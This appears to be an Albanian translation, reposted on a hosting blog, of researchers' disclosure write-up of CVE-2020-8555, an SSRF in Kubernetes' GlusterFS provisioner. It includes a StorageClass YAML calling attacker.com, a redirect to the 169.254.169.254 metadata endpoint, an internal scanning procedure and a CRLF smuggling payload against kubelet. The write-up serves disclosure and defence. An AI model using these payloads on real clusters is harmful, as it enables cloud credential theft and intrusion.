ProHoster > Blog > Administrim > Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes


Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes


ShĂ«n. pĂ«rkth.: autorĂ«t e kĂ«tij artikulli tregojnĂ« nĂ« detaje se si arritĂ«n tĂ« zbulojnĂ« njĂ« dobĂ«si CVE-2020–8555 nĂ« Kubernetes. Edhe pse fillimisht dukej e pakĂ«t rrezikshme, nĂ« kombinim me faktorĂ« tĂ« tjerĂ«, rĂ«ndĂ«sia e saj ishte maksimale pĂ«r disa ofrues shĂ«rbimesh cloud. Pjesa e punĂ«s sĂ« specialistĂ«ve u shpĂ«rblye bujshĂ«m nga disa organizata.

Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes


Kush jemi ne

Ne jemi dy hulumtues francez të sigurisë që zbuluan së bashku një dobësi në Kubernetes. Na quajnë Brice Augras dhe Christophe Hauquiert, por në shumë platforma Bug Bounty jemi të njohur si Reeverzax dhe Hach përkatësisht:

ÇfarĂ« ndodhi?

Ky artikull është mënyra jonë për të treguar se si një projekt i zakonshëm hulumtues papritur u shndërrua në aventurën më emocionuese të jetës së gjuetarëve të bugs (të paktën për momentin).

Siç e dini, gjuetarët e bugs kanë disa veçori të dukshme:

  • ata jetojnĂ« me pica dhe birrĂ«;
  • ata punojnĂ« kur tĂ« tjerĂ«t flenĂ«.

Ne nuk jemi përjashtim nga këto rregulla: zakonisht takohemi në fundjavë dhe kalojmë netë pa gjumë duke hakuar. Por një nga këto netë përfundoi mjaft ndryshe.

Fillimisht, ne patëm në plan të takohemi për të diskutuar pjesëmarrjen në CTF të nesërmen. Gjatë bisedës mbi sigurinë e Kubernetes në një mjedis shërbimi të menaxhuar, përmendëm një ide të vjetër për SSRF (Server-Side Request Forgery) dhe vendosëm ta provojmë atë si skenar sulmi.

Në orën 11 të mbrëmjes filluam hulumtimin dhe shkuam për të fjetur herët në mëngjes, mjaft të kënaqur me rezultatet. Pikërisht përmes këtyre hulumtimeve ne hasëm në programin MSRC Bug Bounty dhe shpikëm një exploit për rritjen e privilegjeve.

Kaluan disa javĂ«/muaj dhe rezultati ynĂ« i papritur na ndihmoi tĂ« fitonim njĂ« nga shpĂ«rblimet mĂ« tĂ« larta nĂ« histori tĂ« Azure Cloud Bug Bounty — pĂ«rveç atij qĂ« morĂ«m nga Kubernetes!

NĂ« bazĂ« tĂ« projektit tonĂ« hulumtues, komiteti i SigurisĂ« sĂ« Produktit Kubernetes publikoi CVE-2020–8555.

Tani dëshirojmë ta shpërndajmë sa më shumë informacion mbi dobësinë e zbuluar. Shpresojmë që ta vlerësoni gjetjen dhe ta ndani informacionin teknik me anëtarët e tjerë të komunitetit infosec!

KĂ«shtu, ja historia jonë 

Konteksti

Për ta dëshmuar sa më plotësisht kuptimin e ndodhi, le të shqyrtojmë së pari se si funksionon Kubernetes në një mjedis të menaxhuar në re.

Kur krijoni një instancë të klasterit Kubernetes në një mjedis të tillë, akoma përgjegjësinë e shtresës menaxhuese e merr ofruesi i shërbimeve në re:

Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes

Shtresa menaxhuese ndodhet në periferi të ofruesit të shërbimeve në re, ndërsa nyjat e Kubernetes ndodhen në periferi të klientit.

Për alokimin dinamik të volumenëve përdoret mekanizmi i furnizimit të tyre dinamik nga një backend storage të jashtme dhe përputhja me PVC (kërkesa për volum të përhershëm).

Pra, pasi PVC të krijohet dhe të lidhet me StorageClass në klasterin K8s, veprimet e mëtejshme për furnizimin e volumit i merr përsipër kube/cloud controller manager (emri i saktë varet nga lëshimi). (Shën. përkth.: Më shumë rreth CCM me shembuj të zbatimit të tij për një nga ofruesit e shërbimeve në re, ne kemi shkruar tashmë. këtu.)

Ekzistojnë disa lloje provisioner-ash që mbështeten nga Kubernetes: shumica e tyre janë të përfshirë në thelb të orkestratorit,ndërsa disa menaxhohen nga provisioner të tjerë që janë vendosur në pod në klaster.

Në studimin tonë, ne u përqëndruam në mekanizmin e brendshëm të furnizimit të volumenëve, të ilustruar më poshtë:

Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes

Furnizimi dinamik i volumenëve duke përdorur provisioner-in e integruar të Kubernetes.

Në përmbledhje, kur Kubernetes është i zbatuar në një mjedis të menaxhuar, për punën e controller manager-it përgjegjësinë e merr ofruesi i shërbimeve në re, por kërkesa për krijimin e volumit (numri 3 në diagramin e mësipërm) del jashtë kufijve të rrjetit të brendshëm të ofruesit të shërbimit. Dhe këtu situata bëhet vërtet interesante!

Scenario i shkeljes.

NĂ« kĂ«tĂ« seksion, do tĂ« tregojmĂ« se si pĂ«rfituam nga procesi i pĂ«rmendur mĂ« parĂ« dhe fituam akses nĂ« burimet e brendshme tĂ« ofruesit tĂ« shĂ«rbimeve nĂ« re. Gjithashtu, do tĂ« ilustrojmĂ« se si mund tĂ« kryeni disa veprime — pĂ«r shembull, tĂ« merrni akreditivĂ«t e brendshĂ«m ose tĂ« kryeni njĂ« shkallĂ«zim privilegji.

Një manipulim i thjeshtë (në këtë rast është Service Side Request Forgery) ndihmoi që të delim jashtë ambientit të klientit në klasteret e ofruesve të ndryshëm të shërbimeve K8s të menaxhuara.

Në kërkimet tona ne u përqendruam te provisioner-i GlusterFS. Megjithatë, edhe pse sekuenca e mëtejshme e veprimeve është ilustruar në këtë kontekst, ky lloj vulnerabiliteti e prek edhe Quobyte, StorageOS dhe ScaleIO.

Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes

Abuzimi me mekanizmin e ofrimit dinamik të volumes.

Gjatë analizës së klasave të ruajtjes. GlusterFS në kodin burimor të klientit në Golang ne u vërejt, çka në kërkesën e parë HTTP (3), e dërguar gjatë krijimit të volumes, në fundin e URL-së së përdoruesit në parametrin resturl informacioni i njëjtë si për kontratën normale. /volumes.

VendosĂ«m tĂ« heqim kĂ«tĂ« rrugĂ« shtesĂ« duke shtuar # nĂ« parametrin resturl. Ja konfiguracioni i parĂ« YAML qĂ« pĂ«rdorĂ«m pĂ«r tĂ« verifikuar ekzistencĂ«n e vulnerabilitetit "semi-blind" SSRF (mĂ« shumĂ« rreth semi-blind ose half-blind SSRF mund tĂ« lexoni p.sh., kĂ«tu — shĂ«n. pĂ«rkth.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Më pas, për menaxhimin e largët të klasterit Kubernetes, përdorëm binarin kubectl. Zakonisht, ofruesit e shërbimeve cloud (Azure, Google, AWS etj.) lejojnë marrjen e kredencialeve për t'u përdorur në këtë utilitar.

Falë kësaj, arritëm të aplikonim skedarin tonë "special". Kube-controller-manager kreu kërkesën rezultuese HTTP:

kubectl create -f sc-poc.yaml

Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes

Përgjigjia nga këndvështrimi i sulmuesit.

Pak pas kĂ«saj, ne gjithashtu arritĂ«m tĂ« merrnim pĂ«rgjigjen HTTP nga serveri i synuar — pĂ«rmes komandave describe pvc ose get events nĂ« kubectl. Dhe vĂ«rtet: ky drejtues i Kubernetes ishte shumĂ« i zĂ«shĂ«m nĂ« paralajmĂ«rimet / mesazhet e veta pĂ«r gabimet...

Ja një shembull me një lidhje në https://www.google.fr, e cila ishte vendosur si parametr resturl:

kubectl describe pvc poc-ssrf
# ose mund të përdorni kubectl get events

Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes


Në kuadër të këtij qasje ne ishim të kufizuar në kërkesa të tipit HTTP POST dhe nuk mundëm të merrnim përmbajtjen e trupit të përgjigjes nëse kodi i kthyer ishte 201. Prandaj, vendosëm të kryenim hetime të mëtejshme dhe të zgjerojmë këtë skenar sulmi me qasje të reja.

Evolucioni i kërkimeve tona.

  • Skenari i avancuar Nr. 1: pĂ«rdorimi i ridirektit 302 nga njĂ« server i jashtĂ«m pĂ«r tĂ« ndryshuar metodĂ«n HTTP, pĂ«r tĂ« marrĂ« njĂ« mĂ«nyrĂ« mĂ« tĂ« fleksibĂ«l pĂ«r tĂ« mbledhur tĂ« dhĂ«na tĂ« brendshme.
  • Skenari i avancuar Nr. 2: automatizimi i skanimit LAN dhe zbulimi i burimeve tĂ« brendshme.
  • Skema Avancuar Nr. 3: pĂ«rdorimi i HTTP CRLF + smuggling pĂ«r krijimin e kĂ«rkesave HTTP tĂ« personalizuara dhe marrjen e tĂ« dhĂ«nave tĂ« nxjerra nga log-Ă«t e kube-controller-it.

Specifikimet Teknike

  • NĂ« hulumtime u pĂ«rdor Azure Kubernetes Service (AKS) me Kubernetes version 1.12 nĂ« rajonin Europa Veriore.
  • Skemat e pĂ«rmendura mĂ« sipĂ«r u ekzekutuan nĂ« versionet e fundit tĂ« Kubernetes pĂ«rveç skemĂ«s sĂ« tretĂ«, pasi ajo kĂ«rkonte Kubernetes tĂ« ndĂ«rtuar me Golang version ≀ 1.12.
  • Serveri i jashtĂ«m i sulmuesit — https://attacker.com.

Skema Avancuar Nr. 1: ridrejtimi i kërkesës HTTP POST në GET dhe marrja e të dhënave të ndjeshme

Metoda origjinale u përmirësua me konfigurimin e serverit të sulmuesit për t'u kthyer 302 HTTP Retcode, për të konvertuar kërkesën POST në kërkesën GET (hapi 4 në skemë):

Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes


Kërkesa e parë (3), që vjen nga klienti GlusterFS (Controller Manager), ka llojin POST. Pas përfundimit të hapave të mëposhtëm, ne arritëm ta kthenim atë në GET:

  • Si parametrin resturl nĂ« StorageClass pĂ«rcaktohet http://attacker.com/redirect.php.
  • Fundi i pikĂ«s https://attacker.com/redirect.php pĂ«rgjigjet me kodin e statusit 302 HTTP me Header-in e mĂ«poshtĂ«m Location: http://169.254.169.254. Kjo mund tĂ« jetĂ« çdo burim tjetĂ«r i brendshĂ«m — nĂ« kĂ«tĂ« rast lidhja e ridrejtimit pĂ«rdoret ekskluzivisht si shembull.
  • MĂ« nĂ« default biblioteka net/http e Golang redirecton kĂ«rkesĂ«n dhe konverton POST nĂ« GET me kodin e statusit 302, si rezultat, nĂ« burimin e synuar arrin njĂ« kĂ«rkesĂ« HTTP GET.

Për të lexuar trupin e përgjigjes HTTP, duhet të bëni përshkruaj objekti PVC:

kubectl describe pvc xxx

Ja një shembull i përgjigjes HTTP në formatin JSON që arritëm ta merrnim:

Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes


Kraftet e njohur të vulneraibilitetit atëherë ishin të kufizuara për shkak të pikave të mëposhtme:

  • PamundĂ«sia pĂ«r tĂ« vendosur headers HTTP nĂ« kĂ«rkesĂ«n e daljes.
  • PamundĂ«sia pĂ«r tĂ« ekzekutuar njĂ« kĂ«rkesĂ« POST me parameter nĂ« trup (nĂ« kĂ«tĂ« mĂ«nyrĂ« Ă«shtĂ« e lehtĂ« tĂ« kĂ«rkosh vlerĂ«n e çelĂ«sit nga njĂ« instancĂ« etcd duke punuar nĂ« 2379 port, nĂ«se pĂ«rdoret HTTP i pa-kriptuar).
  • PamundĂ«sia pĂ«r tĂ« marrĂ« pĂ«rmbajtjen e trupit tĂ« pĂ«rgjigjes, kur kodi i statusit ishte 200 dhe pĂ«rgjigja nuk kishte llojin e pĂ«rmbajtjes JSON.

Skema Avancuar Nr. 2: skanimi i rrjetit lokal

Kjo metodë half-blind SSRF më pas u përdor për të skanuar rrjetin e brendshëm të ofruesit të shërbimeve të cloud dhe për të pyetur shërbimet e ndryshme që kanë dallim (instanca Metadata, Kubelet, etcd etj.) mbi bazën e përgjigjeve kube-controller-it.

Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes


Fillimisht u përcaktuan portet standarde të dëgjimit të komponentëve të Kubernetes (8443, 10250, 10251 etj.), dhe më pas duhej të automatizohej procesi i skanimit.

Duke parë se ky metod skanimi i burimeve është shumë specifik dhe i papajtueshëm me skanerët klasikë dhe veglat SSRF, ne vendosëm të krijojmë punëtorë tonë në skenarin bash që automatizojnë gjithë procesin.

Për shembull, për të skanuar më shpejt gamën 172.16.0.0/12 të rrjetit të brendshëm, u aktivizuan paralelisht 15 punëtorë. Gama e sipërpërmendur e IP-ve u zgjodh vetëm si shembull dhe mund të ndryshohet për gamën e IP-ve të ofruesit konkret të shërbimeve.

Për të skanuar një adresë IP dhe një port, duhet të bëni si më poshtë:

  • tĂ« hiqni StorageClass-in e verifikuar herĂ«n e kaluar;
  • tĂ« hiqni kĂ«rkesĂ«n e mĂ«parshme tĂ« Volume-it tĂ« PĂ«rhershĂ«m;
  • tĂ« ndryshoni vlerat e IP-sĂ« dhe Portit nĂ« sc.yaml;
  • tĂ« krijoni StorageClass me IP-nĂ« dhe portin e ri;
  • tĂ« krijoni njĂ« PVC tĂ« ri;
  • tĂ« nxirrni rezultatet e skanimit duke pĂ«rdorur describe-n pĂ«r PVC.

Scenari Avancuar №3: injeksioni CRLF + kalimi i HTTP nĂ« versionet "e vjetra" tĂ« klasterit Kubernetes

Nëse, përveç kësaj, ofruesi ofronte klientëve versionet e vjetra të klasterit K8s dhe u jepte atyre akses në loget e kube-controller-manager-it, efekti bëhej edhe më i dukshëm.

Kërcënuesit do të kishin vërtet më shumë lehtësi për të ndryshuar sipas dëshirës kërkesat HTTP, të destinuara për marrjen e përgjigjes të plotë HTTP.

Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes


Për realizimin e këtij skenari të fundit duhej të ishin përmbushur kushtet si më poshtë:

  • PĂ«rdoruesi duhet tĂ« ketĂ« akses nĂ« loget e kube-controller-manager (si, pĂ«r shembull, nĂ« Azure LogInsights).
  • Klasteri Kubernetes duhet tĂ« pĂ«rdorĂ« versionin e Golang-ut mĂ« tĂ« ulĂ«t se 1.12.

Ne vendosëm një mjedis lokal që imiton shkëmbimin e të dhënave ndërmjet klientit Go GlusterFS dhe një server të falsifikuar (për tani do t'i qëndrojmë larg publikimit të PoC).

U zbulua vulnerabiliteti, që prekte versionet e Golang-ut më të ulët se 1.12 dhe lejonte hackerët të kryejnë sulme të tipit HTTP smuggling/CRLF.

Duke bashkuar SSRF-in e gjysmë-verifikuar të përshkruar më arriba se bashku me këtë, ne ishim në gjendje të dërgonim kërkesa sipas dëshirës sonë, duke përfshirë zëvendësimin e titujve, metodës HTTP, parametrave dhe të dhënave që kube-controller-manager-i pastaj i përpunonte.

Ja një shembull i "kurthit" funksional në parametrin resturl të StorageClass-it, që realizon një skenar të tillë sulmi:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Si rezultat, ndodh një gabim përgjigje e paftuar, mesazh i cili regjistrohet në log-et e kontrollorit. Falë "multëfolësisë" të aktivizuar me të drejtë, aty ruhet gjithashtu përmbajtja e përgjigjes HTTP.

Kur bëhet fjalë jo vetëm për një ndjeshmëri në Kubernetes


Kjo ishte "pezhu" më e suksesshme brenda konceptit prova.

Duke përdorur një qasje të tillë, arritëm të realizojmë disa nga sulmet e mëposhtme në klasterë të ndryshëm të ofruesve të menaxhuar K8s: elevimi i privilegjeve me marrjen e akreditimeve në instancat metadata, DoS për masterin përmes (pa shifruar) kërkesave HTTP në instancat e masterit etcd etj.

Pasojat

Në deklaratën zyrtare të Kubernetes në lidhje me vulnerabilitetin SSRF të zbuluar nga ne, i është dhënë një rang CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Nëse shqyrtohet vetëm vulnerabiliteti i lidhur me perimetrin e Kubernetes, vektori i integritetit (integrity vector) në të është klasifikuar si Asnjë.

Megjithatë, vlerësimi i pasojave të mundshme në kontekstin e ambientit të shërbimit të menaxhuar (dhe kjo ishte pjesa më interesante e kërkimit tonë!) na inkurajoi ta riclasifikojmë vulnerabilitetin në rang Kritik CVSS10/10 për shumë distributorë.

Më poshtë gjeni informacion shtesë që do t'ju ndihmojë të kuptoni se çfarë na drejtoi në vlerësimin e pasojave të mundshme në ambientet cloud:

Integriteti

  • Ekzekutimi i komandave tĂ« largĂ«ta me akreditimet e brendshme tĂ« marra.
  • Riprodhimi i skenarit tĂ« mĂ«sipĂ«rm pĂ«rmes metodĂ«s IDOR (Insecure Direct Object Reference, domethĂ«nĂ« lidhje tĂ« drejtpĂ«rdrejta tĂ« pasigurta nĂ« objekte) me burime tĂ« tjera tĂ« zbuluara nĂ« rrjetin lokal.

Privatësia

  • Sulmi i tipit Lateral Movement falĂ« vjedhjes sĂ« akreditimeve tĂ« cloud-it (p.sh. metadata API).
  • Mblidhja e informacionit pĂ«rmes skanimit tĂ« rrjetit lokal (pĂ«rcaktimi i versionit SSH, versionit tĂ« serverit HTTP, 
).
  • Mblidhja e informacionit mbi instancat dhe infrastrukturĂ«n pĂ«rmes pyetjeve nĂ« API-tĂ« e brendshme, tĂ« tilla si metadata API (http://169.254.169.254, 
).
  • Vjedhja e tĂ« dhĂ«nave tĂ« klientĂ«ve me anĂ« tĂ« akreditimeve tĂ« cloud-it.

Disponueshmëria

Të gjitha skenaret e përdorimit të exploiteve të lidhura me vektorët e sulmit në integritet (celësin), mund të përdoren për veprime shkatërruese dhe të çojnë në atë që instancat master nga perimetrat e klientit (ose çdo perimter tjetër) do të ishin të paqëndrueshme.

Duke ishim në një mjedis të menaxhuar K8s dhe vlerësuam ndikimin në integritet, mund të imagjinojmë shumë skenarë që mund të ndikonin në disponueshmërinë. Si shembuj të tjerë, mund të përmendim dëmtimin e bazës së të dhënave etcd ose kryerjen e një thirrjeje kritike në API-në e Kubernetes.

Kronologjia

  • 6 Dhjetor 2019: dĂ«rgimi i njĂ« mesazhi pĂ«r shfaqjen e njĂ« dobĂ«sie nĂ« MSRC Bug Bounty.
  • 3 Janar 2020: njĂ« palĂ« e tretĂ« informoi zhvilluesit e Kubernetes se ne po punonim pĂ«r njĂ« problem nĂ« fushĂ«n e sigurisĂ«. Dhe i kĂ«rkoi atyre ta shqyrtonin SSRF si njĂ« dobĂ«si in-core. Pas kĂ«saj ne paraqitĂ«m njĂ« raport tĂ« pĂ«rgjithshĂ«m me detaje teknike mbi burimin e problemit.
  • 15 Janar 2020: ne i ofruam zhvilluesve tĂ« Kubernetes raporte teknike dhe tĂ« pĂ«rgjithshme sipas kĂ«rkesĂ«s sĂ« tyre (pĂ«rmes platformĂ«s HackerOne).
  • 15 Janar 2020: zhvilluesit e Kubernetes na informuan se half-blind SSRF + injeksioni CRLF pĂ«r lĂ«shimet e kaluara konsiderohet si njĂ« dobĂ«si in-core. Ne menjĂ«herĂ« ndaluam analizĂ«n e perifereve tĂ« ofruesve tĂ« tjerĂ« tĂ« shĂ«rbimeve: shkaku kryesor tani ishte nĂ« duar tĂ« ekipit K8s.
  • 15 Janar 2020: shpĂ«rblimi mori pĂ«rmes HackerOne nga MSRC.
  • 16 Janar 2020: Kubernetes PSC (Komiteti pĂ«r SigurinĂ« e Produktit) e njohu dobĂ«sinĂ« dhe kĂ«rkoi qĂ« tĂ« mbahej nĂ« fshehtĂ«si deri nĂ« mes tĂ« marsit pĂ«r shkak tĂ« numrit tĂ« madh tĂ« viktimave tĂ« mundshme.
  • 11 Shkurt 2020: shpĂ«rblimi iu dha nga Google VRP.
  • 4 Mars 2020: shpĂ«rblimi mori pĂ«rmes HackerOne nga Kubernetes.
  • 15 Mars 2020: shpĂ«rndarja publike e planifikuar fillimisht u shty pĂ«r shkak tĂ« situatĂ«s me COVID-19.
  • 1 Qershor 2020: njĂ« deklaratĂ« e pĂ«rbashkĂ«t nga Kubernetes + Microsoft mbi dobĂ«sinĂ«.

TL;DR

  • Ne po pimĂ« birrĂ« dhe po hamĂ« pizzĂ« 🙂
  • Ne zbulonim njĂ« dobĂ«si in-core nĂ« Kubernetes, ndonĂ«se nuk kishim planifikuar ta bĂ«nim kĂ«tĂ«.
  • Ne kryem njĂ« analizĂ« tĂ« mĂ«tejshme nĂ« klasterĂ«t e ofruesve tĂ« ndryshĂ«m tĂ« cloud-it dhe arritĂ«m tĂ« rrisim dĂ«min qĂ« shkaktonte dobĂ«sia, pĂ«r tĂ« marrĂ« bonuse tĂ« tjera tĂ« shkĂ«lqyera.
  • NĂ« kĂ«tĂ« artikull do tĂ« gjeni shumĂ« detaje teknike. Ne do tĂ« gĂ«zohemi tĂ« diskutojmĂ« pĂ«r to me ju (Twitter: @ReeverZax & @__hach_).
  • Doli se formalitetet dhe hartimi i raporteve po merrnin shumĂ« mĂ« tepĂ«r kohĂ« se sa ishte pritur.

Linket

P.S. nga përkthyesi

Lexoni gjithashtu në blogun tonë:

Burimi: habr.com

Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster